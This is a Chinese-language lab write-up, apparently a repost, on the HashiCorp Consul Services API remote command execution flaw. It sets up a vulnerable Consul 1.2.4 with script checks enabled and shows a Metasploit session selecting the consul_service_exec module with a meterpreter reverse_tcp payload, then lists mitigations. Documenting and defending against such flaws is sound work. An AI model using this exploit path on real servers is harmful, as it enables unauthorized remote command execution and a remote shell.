Hashicorp Consul Service API远程命令执行漏洞
本文转自starnight_cyber 并作补充
简介
Consul是HashiCorp公司推出的一款开源工具,用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案相比,Consul提供的方案更为“一站式”。Consul内置了服务注册与发现框架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案,不再需要依赖其他工具(例如ZooKeeper等),使用方式也相对简单。
Consul使用Go语言编写,因此具有天然的可移植性(支持Linux、Windows和Mac OS X系统);且安装包中仅包含一个可执行文件,便于部署,可与Docker等轻量级容器无缝配合。
在特定配置下,恶意攻击者可以通过发送精心构造的HTTP请求在未经授权的情况下在Consul服务端远程执行命令。
环境搭建
从 https://releases.hashicorp.com/consul/1.2.4/ 下载相应 Linux 版本,直接启动服务即可。
1 ./consul agent -dev -client your-serv-ip -enable-script-checks访问:http://your-serv-ip:8500/v1/agent/self
启用了 EnableRemoteScriptChecks: true
漏洞验证
- 使用 MSF 进行测试,简要过程如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 msf6 > search Hashicorp
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/misc/nomad_exec 2021-05-17 excellent Yes HashiCorp Nomad Remote Command Execution
1 exploit/multi/misc/consul_rexec_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Rexec
2 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API
Interact with a module by name or index. For example info 2, use 2 or use exploit/multi/misc/consul_service_exec
msf6 > use 2
[*] Using configured payload linux/x86/meterpreter/reverse_tcp可以看到成功创建 meterpreter。
修复措施
- 禁用Consul服务器上的脚本检查功能
- 确保Consul HTTP API服务无法通过外网访问或调用
- 对/v1/agent/service/register 禁止PUT方法
参考
https://blog.csdn.net/qq_44159028/article/details/115870000
https://releases.hashicorp.com/consul/1.2.4/
以上!